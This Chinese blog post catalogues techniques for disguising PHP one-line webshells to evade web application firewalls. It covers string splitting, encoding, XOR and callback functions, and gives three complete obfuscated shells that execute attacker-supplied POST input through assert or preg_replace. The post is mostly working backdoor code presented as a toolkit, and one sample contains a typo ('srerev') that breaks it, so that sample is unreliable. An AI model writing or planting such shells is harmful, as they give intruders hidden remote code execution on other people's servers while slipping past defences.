PHP一句话变形


PHP一句话变形


常见的过WAF姿势

  • 拆分与变形

    assert=’a’.’s’.’s’.’e’.’r’.’t’

    assert=strrev(tressa)

    assert=$array[0][‘wind’]

    $item[‘wind’]=’assert’;

    $array[]=$item;

  • 加密编码

    assert=base64_decode(“YXNzZXJ0”)

    assert=chr(97).chr(115).chr(115).chr(101).chr(114).chr(116)

    异或(^)

    a=’_’+’>’

    s=’-‘+’^’

  • 无关键字

    $_REQUEST[a]($_REQUEST[pass])

    数据库

    extract

    $a='abcde';
    $pass='bcde';
    $arr=['a'=>$REQUEST['b'],'pass'=>$_REQUEST['pass']];
    extract($arr);
  • 特殊函数

    • array_map array_filter array_udiff

    ​ array_map(assert,array(‘phpinfo()’))

    • preg_replace mb_ereg_replace preg_filter

      preg_replace(“/abc/e”,$_REQUEST[cmd’],’abcde’);

    • create_function

      $newfun=create_function('','phpinfo();');
      $newfun();

例1:

<?php
    $a=md5('ssss');  //8f60c8102d29fcd525162d02eed4566b
    $b=substr($a,2,2)+37; //97
    $s=$b+18;  //105
    $e=substr($a,-7,1);  //e
    $r=$s-1;  //104
    $t=$r+2;  //106
    $z=chr($b).chr($s).chr($s).$e.chr($r).chr($t);
    $z($_POST['s']);
?>

​ 例2:

<?php
    $h=@strrev(ecalper_gerp);  //preg_replace
    $k=@srerev(edoced_46esab);  //base64_decode
    @$h($k(L3h4L2Ug),$_POST[123],axxa);  //L3h4L2Ug=xx/e
?>

​ 例3:

<?php
    function a($x,$y){
        return $x.$y;
}
@$i=call_user_func('a',ass,ert);
@$b=array($_POST[x]);
array_map($CC=$i,$DD=$b);
?>
}

文章作者: Danie1
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 Danie1 !
 上一篇
pbootcms漏洞复现 pbootcms漏洞复现
pbootcms漏洞复现 pbootcms1.1.4(1.1.5及以下版本)任意代码执行漏洞 这段函数采用了两次正则匹配的过滤方式,第一次正则需要构造形如{pboot:if(payload)}{/pboot:i
2020-08-16
下一篇 
CVE-2017-12149 JBoss反序列化漏洞复现 CVE-2017-12149 JBoss反序列化漏洞复现
CVE-2017-12149 JBoss反序列化漏洞复现 影响范围JBOSSAS 5.x和6.x 环境搭建 下载环境http://download.jboss.org/jbossas/6.1/jboss-as-distribution-6.
2020-03-26
  目录